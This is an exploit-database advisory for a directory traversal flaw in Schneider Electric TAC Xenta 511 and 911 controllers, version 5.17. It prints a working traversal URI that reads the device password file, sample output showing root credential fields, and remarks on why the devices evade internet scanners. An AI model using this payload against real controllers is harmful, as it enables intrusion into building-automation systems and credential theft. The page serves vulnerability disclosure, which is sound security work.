TAC Xenta 511 and 911 Credentials Disclosure

vendor:

TAC Xenta 911

by:

Marek Cybul

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: TAC Xenta 911

Affected Version From: 5.17

Affected Version To: 5.17

Patch Exists: Yes

Related CWE: N/A

CPE: a:schneider_electric:tac_xenta_911

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

TAC Xenta 511 and 911 Credentials Disclosure

Directory traversal in help manuals of Schneider Electric TAC Xenta 911 and 511 PLCs allows for credentials extraction. Devices are not indexed by crawlers like Shodan or Censys due to ancient SSL configuration, needed to use old browser to support it (not even s_client, curl or ncat could connect). Example URI: /www/help/public/../../../sys/pswd

Mitigation:

Upgrade to the latest version of the software and ensure that all security patches are applied.

Source

Exploit-DB raw data:

# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
# Date: 25.05.2018
# Exploit Author: Marek Cybul
# Vendor Homepage:
https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
# Version: 5.17

# Schneider Electric TAC Xenta 911 and 511 PLCs

Directory traversal in help manuals allows for credentials extraction

Devices are not indexed by crawlers like Shodan or Censys due to
ancient SSL configuration,
needed to use old browser to support it (not even s_client, curl or
ncat could connect).


Example URI: /www/help/public/../../../sys/pswd

vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv

HTTP/1.0 200 OK

root
super user
/
/
/
password
0
900
3